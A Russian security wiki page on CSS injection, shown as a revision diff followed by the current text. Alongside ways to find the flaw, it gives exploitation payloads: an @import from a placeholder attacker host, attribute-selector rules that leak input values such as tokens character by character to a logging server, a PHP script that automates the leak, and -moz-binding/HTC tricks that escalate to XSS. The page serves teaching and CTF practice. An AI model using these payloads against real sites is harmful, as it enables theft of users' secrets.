Cssi — различия между версиями
Drakylar (обсуждение | вклад) м |
Drakylar (обсуждение | вклад) м (Добавил URL Follow) |
||
| (не показано 10 промежуточных версий этого же участника) | |||
| Строка 21: | Строка 21: | ||
<syntaxhighlight lang="php" line="1" style="overflow-x:scroll" > <span style="color: <?php echo $_GET['color']; ?>"> </syntaxhighlight> | <syntaxhighlight lang="php" line="1" style="overflow-x:scroll" > <span style="color: <?php echo $_GET['color']; ?>"> </syntaxhighlight> | ||
| + | В данном случае изучение очень похоже на поиск XSS. | ||
==Эксплуатация== | ==Эксплуатация== | ||
| + | |||
| + | Работает не во всех браузерах. | ||
| + | |||
| + | Для удобства эксплуатации требуется подкачать свой css файлик с вредоносным кодом с помощью команды import (иначе может просто не хватить места): | ||
| + | |||
| + | <syntaxhighlight lang="css" line="1" style="overflow-x:scroll" > | ||
| + | <style> | ||
| + | @import "http://hackersite.org/exploit.css"; | ||
| + | </style> | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | Взаимодействовать возможно только со значениями названных полей (иначе мы не сможем обратиться к данным). | ||
| + | |||
| + | ===URL Follow=== | ||
| + | |||
| + | Заставить браузер жертвы отправить GET запрос на нужный URL не перезагружая страницу. | ||
| + | |||
| + | <syntaxhighlight lang="css" line="1" style="overflow-x:scroll" > | ||
| + | { background-image:url(<ссылка>); } | ||
| + | </syntaxhighlight> | ||
===Получение токенов=== | ===Получение токенов=== | ||
| + | |||
| + | Получение токенов (например токенов CSS) или других важных данных возможно с помощью перебора. | ||
| + | |||
| + | |||
| + | ====Firefox==== | ||
| + | |||
| + | В данном случае идет перебор параметра value поля input: | ||
| + | |||
| + | <syntaxhighlight lang="css" line="1" style="overflow-x:scroll" > | ||
| + | input[value^=a]{ background-image:url(http://itsecwiki.org/log?a); } | ||
| + | input[value^=b]{ background-image:url(http://itsecwiki.org/log?b); } | ||
| + | input[value^=c]{ background-image:url(http://itsecwiki.org/log?c); } | ||
| + | ... | ||
| + | input[value^=f]{ background-image:url(http://itsecwiki.org/log?f); } /* запрос прошел */ | ||
| + | ... | ||
| + | input[value^=z]{ background-image:url(http://itsecwiki.org/log?z); } | ||
| + | input[value^=aa]{ background-image:url(http://itsecwiki.org/log?z); } | ||
| + | input[value^=ab]{ background-image:url(http://itsecwiki.org/log?z); } | ||
| + | ... | ||
| + | input[value^=flag]{ background-image:url(http://itsecwiki.org/log?flag);/* запрос прошел */ | ||
| + | ... | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | И в итоге на сервер придут запросы: log?f, log?fl, log?fla и log?flag. | ||
| + | |||
| + | Можно перебирать по одной букве. | ||
| + | |||
| + | ====Chrome==== | ||
| + | |||
| + | ====Автоматизация==== | ||
| + | |||
| + | <syntaxhighlight lang="php" line="1" style="overflow-x:scroll" > | ||
| + | <?php | ||
| + | |||
| + | /* Использование | ||
| + | |||
| + | http://site/cssinj.php?form=input& | ||
| + | param=value& | ||
| + | siteid=1337& | ||
| + | alph=abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_& | ||
| + | word=fla | ||
| + | |||
| + | */ | ||
| + | |||
| + | $alph = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_'; | ||
| + | $word = ''; | ||
| + | $siteid = '1'; | ||
| + | |||
| + | if (isset($_GET['siteid'])){ | ||
| + | $siteid = $_GET['siteid']; | ||
| + | } | ||
| + | |||
| + | //Если атака прошла успешно | ||
| + | if (isset($_GET['value'])){ | ||
| + | file_put_contents( 'cssi_result_' . $siteid . '.txt', $_GET['value'] . "\n", FILE_APPEND | LOCK_EX); | ||
| + | exit(); | ||
| + | } | ||
| + | |||
| + | |||
| + | function url(){ | ||
| + | return explode("?",sprintf( | ||
| + | "%s://%s%s", | ||
| + | isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != 'off' ? 'https' : 'http', | ||
| + | $_SERVER['SERVER_NAME'], | ||
| + | $_SERVER['REQUEST_URI'] | ||
| + | ))[0]; | ||
| + | } | ||
| + | |||
| + | |||
| + | if (isset($_GET['alph'])){ | ||
| + | $alph = $_GET['alph']; | ||
| + | } | ||
| + | |||
| + | if (isset($_GET['word'])){ | ||
| + | $word = $_GET['word']; | ||
| + | } | ||
| + | |||
| + | |||
| + | |||
| + | $alph_chars = str_split($alph); | ||
| + | |||
| + | foreach ($alph_chars as &$value) { | ||
| + | echo $_GET['form'] . | ||
| + | '[' . | ||
| + | $_GET['param'] . | ||
| + | '^=' . | ||
| + | $word . | ||
| + | $value . | ||
| + | ']{ background-image:url(' . | ||
| + | url() . | ||
| + | '?site_id=' . | ||
| + | $siteid . | ||
| + | '&value=' . | ||
| + | urlencode($value) . | ||
| + | "); }\n"; | ||
| + | } | ||
| + | |||
| + | ?> | ||
| + | |||
| + | </syntaxhighlight> | ||
===CSS inj -> XSS=== | ===CSS inj -> XSS=== | ||
| + | |||
| + | ====Firefox==== | ||
| + | |||
| + | [https://developer.mozilla.org/en-US/docs/Web/CSS/-moz-binding Официальная страница Firefox] | ||
| + | |||
| + | [http://help.dottoro.com/lcxlpaqh.php Пример] | ||
| + | |||
| + | В старых версиях Firefox возможно запускать JS код с помощью атрибута -moz-binding. | ||
| + | |||
| + | Пример: | ||
| + | |||
| + | Файл test.html: | ||
| + | <syntaxhighlight lang="html4strict" line="1" style="overflow-x:scroll" > | ||
| + | <html> | ||
| + | <head> | ||
| + | <style> | ||
| + | #bindingTest { | ||
| + | -moz-binding : url("somexbl.xml#alert-it"); | ||
| + | } | ||
| + | </style> | ||
| + | </head> | ||
| + | <body> | ||
| + | Move your mouse over <b id="bindingTest">this text</b>. | ||
| + | </body> | ||
| + | </head> | ||
| + | </html> | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | Файл somexbl.xml: | ||
| + | <syntaxhighlight lang="xml" line="1" style="overflow-x:scroll" > | ||
| + | <?xml version="1.0" encoding="utf-8"?> | ||
| + | <bindings xmlns="http://www.mozilla.org/xbl"> | ||
| + | <binding id="alert-it"> | ||
| + | <content> | ||
| + | <children /> | ||
| + | </content> | ||
| + | <handlers> | ||
| + | <handler event="mouseover" action="alert('XSS');"/> | ||
| + | </handlers> | ||
| + | </binding> | ||
| + | </bindings> | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ====Chrome==== | ||
| + | |||
| + | |||
| + | ====Internet Explorer==== | ||
| + | |||
| + | Файл test.html: | ||
| + | <syntaxhighlight lang="html4strict" line="1" style="overflow-x:scroll" > | ||
| + | <html> | ||
| + | <head> | ||
| + | <style> | ||
| + | #Test { | ||
| + | behavior:url(script.htc); | ||
| + | } | ||
| + | </style> | ||
| + | </head> | ||
| + | <body> | ||
| + | Move your mouse over <b id="Test">this text</b>. | ||
| + | </body> | ||
| + | </head> | ||
| + | </html> | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | Файл script.htc: | ||
| + | <syntaxhighlight lang="xml" line="1" style="overflow-x:scroll" > | ||
| + | <PUBLIC:COMPONENT TAGNAME="xss"> | ||
| + | <PUBLIC:ATTACH EVENT="ondocumentready" ONEVENT="main()" LITERALCONTENT="false"/> | ||
| + | </PUBLIC:COMPONENT> | ||
| + | <SCRIPT> | ||
| + | function main() | ||
| + | { | ||
| + | alert("HTC script executed."); | ||
| + | } | ||
| + | </SCRIPT> | ||
| + | </syntaxhighlight> | ||
==Примеры== | ==Примеры== | ||
| + | |||
| + | [https://tsublogs.wordpress.com/2016/06/25/whitehat-contest-11-ultimate-design-tool-web100/ WhiteHat Contest 11 Ultimate Design Tool – web100] | ||
| + | |||
| + | [https://lud1161.wordpress.com/2018/06/25/cat-chat-google-ctf-2018/ Cat Chat – Google CTF 2018] | ||
==Полезные ссылки== | ==Полезные ссылки== | ||
| − | https://www.owasp.org/index.php/Testing_for_CSS_Injection_(OTG-CLIENT-005) | + | [https://www.owasp.org/index.php/Testing_for_CSS_Injection_(OTG-CLIENT-005) OWASP] |
| + | |||
| + | [https://raz0r.name/articles/css-attacks/ raz0r post] | ||
Заметка: добавить про чтение токенов и PRSSI | Заметка: добавить про чтение токенов и PRSSI | ||
Текущая версия на 13:56, 30 июня 2018
CSS Injection - уязвимость, позволяющая запустить произвольный CSS код на стороне жертвы.
Содержание
Поиск уязвимости
Загрузка из JS
HTML код страницы может редактироваться в зависимости от действий пользователя.
Например, цвет может быть помещен в hash URL'а (то, что после решетки) и с помощью JS перенесен в CSS:
document.getElementById("...").style.cssText = "color: " + location.hash.slice(1);То есть все сводится к тому, что нужно изучить JS код страницы и найти параметры, которые может изменить пользователь.
Загрузка из backend'а
Данный способ отличается от предыдущего тем, что параметры вставляются в код страницы с помощью backend языка разработки.
Например:
<span style="color: <?php echo $_GET['color']; ?>">В данном случае изучение очень похоже на поиск XSS.
Эксплуатация
Работает не во всех браузерах.
Для удобства эксплуатации требуется подкачать свой css файлик с вредоносным кодом с помощью команды import (иначе может просто не хватить места):
<style>
@import "http://hackersite.org/exploit.css";
</style>Взаимодействовать возможно только со значениями названных полей (иначе мы не сможем обратиться к данным).
URL Follow
Заставить браузер жертвы отправить GET запрос на нужный URL не перезагружая страницу.
{ background-image:url(<ссылка>); }Получение токенов
Получение токенов (например токенов CSS) или других важных данных возможно с помощью перебора.
Firefox
В данном случае идет перебор параметра value поля input:
input[value^=a]{ background-image:url(http://itsecwiki.org/log?a); }
input[value^=b]{ background-image:url(http://itsecwiki.org/log?b); }
input[value^=c]{ background-image:url(http://itsecwiki.org/log?c); }
...
input[value^=f]{ background-image:url(http://itsecwiki.org/log?f); } /* запрос прошел */
...
input[value^=z]{ background-image:url(http://itsecwiki.org/log?z); }
input[value^=aa]{ background-image:url(http://itsecwiki.org/log?z); }
input[value^=ab]{ background-image:url(http://itsecwiki.org/log?z); }
...
input[value^=flag]{ background-image:url(http://itsecwiki.org/log?flag);/* запрос прошел */
...И в итоге на сервер придут запросы: log?f, log?fl, log?fla и log?flag.
Можно перебирать по одной букве.
Chrome
Автоматизация
<?php
/* Использование
http://site/cssinj.php?form=input&
param=value&
siteid=1337&
alph=abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_&
word=fla
*/
$alph = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_';
$word = '';
$siteid = '1';
if (isset($_GET['siteid'])){
$siteid = $_GET['siteid'];
}
//Если атака прошла успешно
if (isset($_GET['value'])){
file_put_contents( 'cssi_result_' . $siteid . '.txt', $_GET['value'] . "\n", FILE_APPEND | LOCK_EX);
exit();
}
function url(){
return explode("?",sprintf(
"%s://%s%s",
isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != 'off' ? 'https' : 'http',
$_SERVER['SERVER_NAME'],
$_SERVER['REQUEST_URI']
))[0];
}
if (isset($_GET['alph'])){
$alph = $_GET['alph'];
}
if (isset($_GET['word'])){
$word = $_GET['word'];
}
$alph_chars = str_split($alph);
foreach ($alph_chars as &$value) {
echo $_GET['form'] .
'[' .
$_GET['param'] .
'^=' .
$word .
$value .
']{ background-image:url(' .
url() .
'?site_id=' .
$siteid .
'&value=' .
urlencode($value) .
"); }\n";
}
?>CSS inj -> XSS
Firefox
В старых версиях Firefox возможно запускать JS код с помощью атрибута -moz-binding.
Пример:
Файл test.html:
<html>
<head>
<style>
#bindingTest {
-moz-binding : url("somexbl.xml#alert-it");
}
</style>
</head>
<body>
Move your mouse over <b id="bindingTest">this text</b>.
</body>
</head>
</html>Файл somexbl.xml:
<?xml version="1.0" encoding="utf-8"?>
<bindings xmlns="http://www.mozilla.org/xbl">
<binding id="alert-it">
<content>
<children />
</content>
<handlers>
<handler event="mouseover" action="alert('XSS');"/>
</handlers>
</binding>
</bindings>Chrome
Internet Explorer
Файл test.html:
<html>
<head>
<style>
#Test {
behavior:url(script.htc);
}
</style>
</head>
<body>
Move your mouse over <b id="Test">this text</b>.
</body>
</head>
</html>Файл script.htc:
<PUBLIC:COMPONENT TAGNAME="xss">
<PUBLIC:ATTACH EVENT="ondocumentready" ONEVENT="main()" LITERALCONTENT="false"/>
</PUBLIC:COMPONENT>
<SCRIPT>
function main()
{
alert("HTC script executed.");
}
</SCRIPT>Примеры
WhiteHat Contest 11 Ultimate Design Tool – web100
Полезные ссылки
Заметка: добавить про чтение токенов и PRSSI